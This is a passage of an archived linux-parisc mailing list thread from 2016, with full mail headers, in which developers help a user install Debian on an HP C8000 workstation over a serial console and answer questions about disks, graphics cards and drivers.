Both ports will work, but they have non-standard names. You need to pass 
"console=ttyB0" to see the boot messages.

> Q3. Is it possible to install Linux and boot from an IDE/PATA disk or
> any IDE/PATA disk will be available only as "data disk" (no boot; boot
> works only on SCSI disks)?

I have installed mine from an IDE CD to SCSI disks, no idea if booting from 
IDE disks works.

> Q3. I have found that c8000 "bios" has an x86 emulator capable to
> detect and initialise PCI and AGP "x86 PC" cards with x86 coded
> VGA-BIOS. It is correct?

Yes, you can use standard AGP cards. I have not done it myself, but a 
colleague did.

> Q4. Recent kernel and X11 versions have built-in hardware support for
> OpenGL for the models where the manifacture has released the technical
> specs. Why on Linux-hppa the hardware acceleration is not supported?

Probably because noone did it.

> Q5. After the installation, the built-in Ethernet interface will
> becomes available or I need to install a second PCI network card?

Works fine, e1000 driver.

> Q6. Recent kernel versions have built-in Comedi data acquisition
> drivers built-in. If I will install a compatible DAQ card in a PCI
> slot, it will works?

None idea, but if not it's probably just a bug.

> Q7. Someone has tried any hard-real-time-patched linux kernel on
> pa-risc machines (like RT-PREEMPT or RTAI) or other tricks to reduce
> kernel latency (like forced cpu assignement to a specific process)?

I did not. The machine is slow enough that I'm happy for every throughput I 
get without this ;)

Greetings,

Eike
--nextPart2471454.XFmOYSpxen
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlb6Gw8ACgkQXKSJPmm5/E4oswCgm9mP8pyrw87LTF1U4Fm6nWG0
lsgAn0YtesNn2cCXiANOJsjtQMA08Z6b
=64Cm
-----END PGP SIGNATURE-----

--nextPart2471454.XFmOYSpxen--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: HP c8000 linux install issues, troubles and questions
Date: Tue, 29 Mar 2016 09:48:21 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>,
 <4207644.uZSTasQYhb@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459237741 29338 80.91.229.3 (29 Mar 2016 07:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Mar 2016 07:49:01 +0000 (UTC)
Cc: "Simone Mannori" <simone.mannori@gmail.com>,
	linux-parisc@vger.kernel.org
To: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 29 09:48:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1akoOT-0001xY-85
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Mar 2016 09:48:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755927AbcC2Hsw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Mar 2016 03:48:52 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:62530 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753441AbcC2Hsw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Mar 2016 03:48:52 -0400
Original-Received: from [155.56.68.219] by 3capp-gmx-bs02.server.lan (via HTTP); Tue,
 29 Mar 2016 09:48:21 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <4207644.uZSTasQYhb@caliban.sf-tec.de>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:czdO4G8q5tGNSZe6nCZhMngIYxks/tY/9ltp7ZGlfg2
 LXvi8teiGesfuGUCxFrYNcrGlor42wlakFKdq5hEkrVQowNcw+
 q9q8cFHzeLA9niKv02d/6UXpFwgbXrM5Idc6GWsKr6ZPOGMcnf
 YmBxH9+eeisQIR+lHHu1oXzdLu4xejwBKB/DbOihcfBOmIeIQ0
 KvKr9ZG9i0UJIRuJDfkEcVNeOSrJ+B57paecCZN3T/oANSelck
 j5FECV4IHqm7B+wnJ9LJ+VqyXSJZqtWWR2C8YpCrXjGktLSf4N 7BxGnQ=
X-UI-Out-Filterresults: notjunk:1;V01:K0:xSaYFk2TQdk=:dTMHsrV61wvyJVLHxI1Eor
 jdc87PKXMikI7sJ2cIxL9pvSnwHK7OEp/aWwQEXjCpxY/90ewztSJBlwElaw2+lfdQ5ORaA7b
 jVSvRWv30DUWQvyezIucNDmS7n+6MES4qm4g0G4RXsW1JAjYmZEJ66PA0JLRhQ+ZzTfX7pU4z
 +okqnaiJ2LjwVsBNyJZu/OKyPwdVSUWp5gkr1JBCAtcOa4KBknoHYATdZkyWysOtF+Qko9407
 e2vwS3UdNmJvikVuYCh0d4mImh/NTvtZ62bxDIZjwMWuS45oZqTdxe6rSUxBZU/cUAoYtK5vb
 81z9bIDWxdIJTyvdF5nNPcXQDSMxgm5QLxJI06IEs0cTxX37+T4Oafod+EzUNJnPsXvKta74M
 SXgcFHZF4pOoFE7nerbMMajh009aBBB4IidTerSHOucycjvafIeSTVEOmIJ347L48uYfJevOK
 p0d50ZqL1w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26549>

> > Q1. On HP c8000 the built-in serial ports A and B are useless for
> > Linux installation. A PCI serial card with a PC compatible UART must
> > be used.

No, the serial ports on C8000 are fully useable.
No need to add other serial cards.

> > Q2. After installation, serial ports A and B are still unusable with
> > Linux or they become available?
> 
> Both ports will work, but they have non-standard names. You need to pass 
> "console=ttyB0" to see the boot messages.

With the debian install image you don't need to do any changes to the names.
Please read the documentation at
https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
especially this part:
- Installation of a C8000 workstation needs to happen via serial console since the install image will not activate the ATI graphics card.
- After installation the ATI cards will work in non-accelerated mode though. 

I'd suggest to just plug the graphics cable and keyboard cable, and then
install via serial port (that works, I did it on my C8000 machines).

> > Q3. Is it possible to install Linux and boot from an IDE/PATA disk or
> > any IDE/PATA disk will be available only as "data disk" (no boot; boot
> > works only on SCSI disks)?
> 
> I have installed mine from an IDE CD to SCSI disks, no idea if booting from 
> IDE disks works.

Yes, installing and/or booting from IDE hard disc drive or CD works.
 
> > Q3. I have found that c8000 "bios" has an x86 emulator capable to
> > detect and initialise PCI and AGP "x86 PC" cards with x86 coded
> > VGA-BIOS. It is correct?
> 
> Yes, you can use standard AGP cards. I have not done it myself, but a 
> colleague did.

I never tried.
 
> > Q4. Recent kernel and X11 versions have built-in hardware support for
> > OpenGL for the models where the manifacture has released the technical
> > specs. Why on Linux-hppa the hardware acceleration is not supported?
> 
> Probably because noone did it.

We have problems initializing the ATI cards to a state where the
standard Linux drivers can take over.
Not sure where exactly the problem is.
Look at the kernel messages, something like "Initialization of ring failed..."

> > Q5. After the installation, the built-in Ethernet interface will
> > becomes available or I need to install a second PCI network card?
> 
> Works fine, e1000 driver.

Correct.

> > Q6. Recent kernel versions have built-in Comedi data acquisition
> > drivers built-in. If I will install a compatible DAQ card in a PCI
> > slot, it will works?
> 
> None idea, but if not it's probably just a bug.

No idea. Try it and report back.

> > Q7. Someone has tried any hard-real-time-patched linux kernel on
> > pa-risc machines (like RT-PREEMPT or RTAI) or other tricks to reduce
> > kernel latency (like forced cpu assignement to a specific process)?
> 
> I did not. The machine is slow enough that I'm happy for every throughput I 
> get without this ;)

I didn't tried either.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: HP c8000 linux install issues, troubles and questions
Date: Tue, 29 Mar 2016 11:12:55 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
	<4207644.uZSTasQYhb@caliban.sf-tec.de>
	<trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459242785 13798 80.91.229.3 (29 Mar 2016 09:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Mar 2016 09:13:05 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 29 11:12:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1akphp-0007hY-NS
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Mar 2016 11:12:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751393AbcC2JM5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Mar 2016 05:12:57 -0400
Original-Received: from mail-ig0-f175.google.com ([209.85.213.175]:35766 "EHLO
	mail-ig0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751223AbcC2JM4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Mar 2016 05:12:56 -0400
Original-Received: by mail-ig0-f175.google.com with SMTP id cl4so71447082igb.0
        for <linux-parisc@vger.kernel.org>; Tue, 29 Mar 2016 02:12:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=qSQ4uk6XrQfM0TdJFS74Q3LmSsd8LqbP7aXy6fa6CkE=;
        b=qUopbvPFHH2UCqb07nY6FklM54ZvX0lPn4ylgMZwV3Uh5JF8wyKVYAd43EE5pRBAkF
         CgIi/gPGgi/TzF6aC6HoJTxSEzh575wwRY3btLNC7iaB3BSNYwRx8b0vS1xcxtHwM+4G
         jRVB1VK4Hb4Z0NDm4HMTQNRaCxk8IwPlbcGnv/o6kL3X5Xwj/I3b0+8gutNlIEl3kd0z
         79QFbWhoE+WgA5A5ci6uIl2h2tk+PkSTlYOrmJJXZ4xIxRtvsRWbLNbUnpWvs7CNhtlR
         GVxl9dM9b05qYtD4aesIpelXuUup5GqKs5TRwJTF17LAmDBDk9XLcYT3CUozUoBknGiw
         snMA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=qSQ4uk6XrQfM0TdJFS74Q3LmSsd8LqbP7aXy6fa6CkE=;
        b=CfvF673+6jhqKDXJWC74Z5+xSHHiPGX0vNAxw6cgqUwT+oCpStBSeZwgVJsXj+CSde
         QLPuuu+gXdYNnlHhhTwiMoo6wyhYKW2BoEX+3TL2f/pCAytTP4+7lN7yCHUzT3XFM4Sr
         w6NZmq1n4oZEp0L8uYiZxRiHfGNLDqtK5+VqS3MVPTlBLKUlEaI1LqdQu/iKPx3iSS+D
         INBOi9LFs4eVbZy6s6NlPXAo4cvv7PwDW4Ogd+P9fL7tUjmSXJb74fAIiGiq2oFaZUTF
         zPs6vonQe3nMOZuxg2OBsCw7hPuu9LIw6rYLmIgaw/9uaYwmVWKbU41rgMYkLY7Ys3AM
         y16Q==
X-Gm-Message-State: AD7BkJKJrgMJeEdrjrhTjearKq4iRiEgRti5pr6q1CihMWVHeBOdZkzffDd/e3JCFh7IZYR41v6kv8DE5YcazA==
X-Received: by 10.50.112.10 with SMTP id im10mr1562417igb.93.1459242775393;
 Tue, 29 Mar 2016 02:12:55 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Tue, 29 Mar 2016 02:12:55 -0700 (PDT)
In-Reply-To: <trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26550>

Thanks a lot for your answers and suggestions, but on a specific point
I'm really perplexed.

> With the debian install image you don't need to do any changes to the names.
> Please read the documentation at
> https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
> especially this part:
> - Installation of a C8000 workstation needs to happen via serial console since the install image will not activate the ATI graphics card.
> - After installation the ATI cards will work in non-accelerated mode though.
>
> I'd suggest to just plug the graphics cable and keyboard cable, and then
> install via serial port (that works, I did it on my C8000 machines).

Serial A (c8000) --> COM1 (Dell 490)
Serial B (c8000) --> COM2 (Dell 490)

Both serial ports use tied&tested null modem cables and 9600,8,N,1
standard setting; Dell 490 runs Win8.1 with two terminal programs
open.

Serial A shows only BIOS/POST messages; Serial B is dead.

I'm using Debian 8.0 ustable boot CD "debian-8.0-hppa-CD-1.iso"; the
CD boot perfecty (usual linux boot messages on vga monitor)  then
hung, looking for a serial port.

> https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation

said " Installation of a C8000 workstation needs to happen via serial
console since the install image will not activate the ATI graphics
card. After installation the ATI cards will work in non-accelerated
mode though. " .... but other people said that you need an additional
PCI serial card with PC-compatible UART.

Question: "Can you tell me which serial port (A or B?) and parameters
(baud rate, n-bits, stop bit, parity, etc). you have used to complete
the Debian installation? "

Thanks in advance for your help.

  Simone Mannori - Italy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: Re: HP c8000 linux install issues, troubles and questions
Date: Tue, 29 Mar 2016 12:01:25 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
 <4207644.uZSTasQYhb@caliban.sf-tec.de>
 <trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>,
 <CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459245740 30892 80.91.229.3 (29 Mar 2016 10:02:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Mar 2016 10:02:20 +0000 (UTC)
Cc: "Rolf Eike Beer" <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: "Simone Mannori" <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 29 12:02:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1akqTR-00045l-Vq
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Mar 2016 12:02:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756623AbcC2KB4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Mar 2016 06:01:56 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:50842 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756619AbcC2KBz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Mar 2016 06:01:55 -0400
Original-Received: from [155.56.68.217] by 3capp-gmx-bs62.server.lan (via HTTP); Tue,
 29 Mar 2016 12:01:25 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:HiF5/za0XRdKp9fzdF+672YMd3IBVccmHCpb7EhVQHC
 XlzCB070CgOliOW4TrUlHSgr9/torUbxSSoPvs1F59kyJnguy7
 w8PRakxtbL7tbFZ6oizdcftzEdeM/agI5Qgp5YD0A0vbJ6UpBd
 Fl+4Ti6hJ2zmniWUlZNAfio9Y0la8cdJeZ/T5gO7xJMap3595U
 mdhjHLsgGKGSHDx+UG7+gM3HrG6yjaub5m4cSz4rMQG4fVTnj1
 e/U3DAA2M/pIoSKM9nRpB3tIcsWu5pG6M5vmdOME49xFxKGV5g Y9dXHc=
X-UI-Out-Filterresults: notjunk:1;V01:K0:OnEZEUHp/oE=:C/qtcSJnnjzvZ0+Cjr9ZKO
 NPICkpqx2eDuJAxZL8AIQ64gcQcJxvnn+bHW8WjpN0MClavl0k2nR/IsjzvxfSW7mXLs4INOt
 gZcCzGbkJrl6/BGP6SrGhb3H2SPT9GNFFH7PUiSI/fLcZptmxhWk3PkWKMbCQ+YyRNrJWkqmN
 QrC66N9zHgxSaDsqweOlhL9WquMzuvFx5/xLdZ6+bYQ/zWOSCXuFWpycwVMZrE0ddFiEfJjWK
 46xaAfTgA9npP+Z1rTj7CKT1/Rne1hB26eHvg1aTEWlb6tIgP9hWNy5vv/Y8qqB1yrCDimvbK
 GuDg4i1z4Xp5oupGp+FMbYKg67ytw4VJnk/bGiZ14dST2v7oRIpOGqP+2XVLuLDz4Dj00SzY1
 BfDHk0kYb//2A+xOkMxIHrOKChsCIA2ZSOm3gQ2j+DTIREcGflliNZtxcQnx606uTCkzzq6nU
 CB+sz2o00g==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26551
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26551>

Hi Simone,

> Thanks a lot for your answers and suggestions, but on a specific point
> I'm really perplexed.
> 
> > With the debian install image you don't need to do any changes to the names.
> > Please read the documentation at
> > https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
> > especially this part:
> > - Installation of a C8000 workstation needs to happen via serial console since the install image will not activate the ATI graphics card.
> > - After installation the ATI cards will work in non-accelerated mode though.
> >
> > I'd suggest to just plug the graphics cable and keyboard cable, and then
> > install via serial port (that works, I did it on my C8000 machines).
> 
> Serial A (c8000) --> COM1 (Dell 490)
> Serial B (c8000) --> COM2 (Dell 490)
> 
> Both serial ports use tied&tested null modem cables and 9600,8,N,1
> standard setting; Dell 490 runs Win8.1 with two terminal programs
> open.
> 
> Serial A shows only BIOS/POST messages; Serial B is dead.

Yes, that's OK.
If you see the POST messages on Serial A, it's correct.

Here is the manual for the C8000:
https://parisc.wiki.kernel.org/images-parisc/1/18/HP_C8000_Manual.pdf

This is how you should do it:
1. Power *off* the C8000 first.
2. Plug out the graphics cable and keyboard cable.
3. Power *on* the C8000
4. It will show POST messages on the serialA, detect that the cables were plugged and present the "Main Menu" on the serial port
(see page 2-4 in the PDF)
5. With the "PATH" command, you can see the current console/keyboard paths.
6. Make sure, that the "console path" is not "graphXYZ" and the "keyboard path" is not "USB_XYZ".
Instead run "path console serial0"  (or "path console serialA" - please check!).
7. After setting the console path to serialA, boot from the CD/DVD.

> I'm using Debian 8.0 ustable boot CD "debian-8.0-hppa-CD-1.iso"; the
> CD boot perfecty (usual linux boot messages on vga monitor)  then
> hung, looking for a serial port.
> 
> > https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
> 
> said " Installation of a C8000 workstation needs to happen via serial
> console since the install image will not activate the ATI graphics
> card. After installation the ATI cards will work in non-accelerated
> mode though. " 

Yes.

>.... but other people said that you need an additional
> PCI serial card with PC-compatible UART.

Who says this ? Links?
 
> Question: "Can you tell me which serial port (A or B?) and parameters
> (baud rate, n-bits, stop bit, parity, etc). you have used to complete
> the Debian installation? "

9600,8,N,1 is the default.
Since you see the post messages, you should be fine.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: Re: HP c8000 linux install issues, troubles and questions
Date: Tue, 29 Mar 2016 14:39:34 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <56FA7786.6070100@gmx.de>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
 <4207644.uZSTasQYhb@caliban.sf-tec.de>
 <trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
 <CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
 <trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459255231 28404 80.91.229.3 (29 Mar 2016 12:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Mar 2016 12:40:31 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 29 14:40:19 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1akswT-0006Mp-TO
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Mar 2016 14:40:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750854AbcC2MkH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Mar 2016 08:40:07 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59566 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750828AbcC2MkG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Mar 2016 08:40:06 -0400
Original-Received: from [192.168.20.60] ([92.203.111.242]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MBrCt-1acrvE1Rup-00AmTU; Tue, 29 Mar 2016 14:39:35
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62>
X-Provags-ID: V03:K0:JTeXRuIAw/d9qqUM7pFyY6rnlkz5zTygeq+V/MXXKLphPlo4NSK
 n9ltMuRW8qtRxLCJ6/OJBEA8XoBntiXlgiL5bYuwDuQLPVivZVRthH6teXoqp1qt4XtYCsc
 dV1d4Rm/vW33j/4Dekh1EK0tsk/8R++IAURATht96R1NHblEXqSrprYpftQKKMqlSImf1Tn
 4UQjeSE3QjlS19aXX1BbQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6LSrPGt9w/I=:JGGrcQn1vDKB+iHPZpoF1x
 2MQdGiBoSr/iI/fahLbb7gjvlrHqdd5rEJpVcOqdqcbcEDnk/jvD/eP3XqXZxm1SmXDQNBj39
 gp8wjXFhIQo4DNzTYG0B4jNNzWfciSKxmbJWtF24HyT5MKcNodcJJleq/kG8FKRfiQG/QaB6L
 Q8bMF406ho3AN1Z6C6Wd8U3MuMC9/CUk1p6C7xlMOI48391JJrLlNaN+tGehdJtpXwDRgzyKv
 9Ma0p8w7zR1x//U4aGbzWHwAfmN4PDOX5ZiY/MdtyxJPIrr3146n8A4h37Ee9+kMFp9fL5VMR
 Lu5q0LAyARykpBVkfDzOWeJPmroDPmI5VAHaif+ugVfTURoe1BcTBpLIk4Iz4n8kAF0isNDcp
 geRnwNVB93gJhiB3rQHUPdVVxbOBPhV3eY5T7zdSjO/9GViBpF1jlxYTJe5YAumfd4lcu93c+
 iDcfD/Vcy4t4fl2tL3c6wbOOi7yEihS7Ye2lU9hidS6noGMNmpMXtxKGWzxdHl1DZzrObw+4c
 OI81xQ5IlsMINRieyRk5f3MSt9iWGn8H+7/n92AgNP7ZfMyBZi9Xu5QAWIyZk6oSKqTN8qYh0
 W5nH9QjrW80QkJ2AY65z78/DBpatly1krwZrX9Clj1x2Mje0f5jXi5NkmPixxE1anQOUyv2la
 BqlFODV7ATWQD5+6fx4+7XTSKAMxRfuuTxGAgp0ZaQm2DNSwHvIUmYgRWrisTetXxLzW4in5R
 9JOIzlr0qpX7X/d8qp1HxjilYmhNyWYZlHZ0Fo3IOcdxEg/4iI7UYBFw350ua0cidjbtkKc1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26552
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26552>

On 29.03.2016 12:01, Helge Deller wrote:
> Here is the manual for the C8000:
> https://parisc.wiki.kernel.org/images-parisc/1/18/HP_C8000_Manual.pdf
> 
> This is how you should do it:
> 1. Power *off* the C8000 first.
> 2. Plug out the graphics cable and keyboard cable.
> 3. Power *on* the C8000
> 4. It will show POST messages on the serialA, detect that the cables were plugged and present the "Main Menu" on the serial port
> (see page 2-4 in the PDF)
> 5. With the "PATH" command, you can see the current console/keyboard paths.
> 6. Make sure, that the "console path" is not "graphXYZ" and the "keyboard path" is not "USB_XYZ".
> Instead run "path console serial0"  (or "path console serialA" - please check!).
> 7. After setting the console path to serialA, boot from the CD/DVD.

Just for the record - this is what my C8000 shows in the "Main Menu":

Duplex Console IO Dependent Code (IODC) revision 1
------------------------------------------------------------------------------
   (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor        Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0       900 MHz   Active                 Functional         32 MB/32 MB
      1       900 MHz   Idle                   Functional         32 MB/32 MB

  Central Bus Speed (in MHz)  :        200  
  Available Memory            :    8388608  KB
  Good Memory Required        : Not initialized. Defaults to 32 MB. 

   Primary boot path:    scsiA.5             
                         0/2/1/0.5           
   Alternate boot path:  lan.0.0.0.0
                         0/3/3/0             
   Console path:         graph3
                         0/4/0/0.0           

   Current Console path: serial_A.643        
                         17.643              
   Keyboard path:        usb0
                         0/3/1/0.0           
   Keyboard path ignored for serial consoles.


 WARNING:  No usable graphics console was found on this system.  It
           may be that no graphics card is present, the graphics card
           is not functioning properly, or no USB keyboard is connected.
           The console has defaulted to a serial port.


If you choose "serial_A" as console path it should work (I don't use the graphics card either). 

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
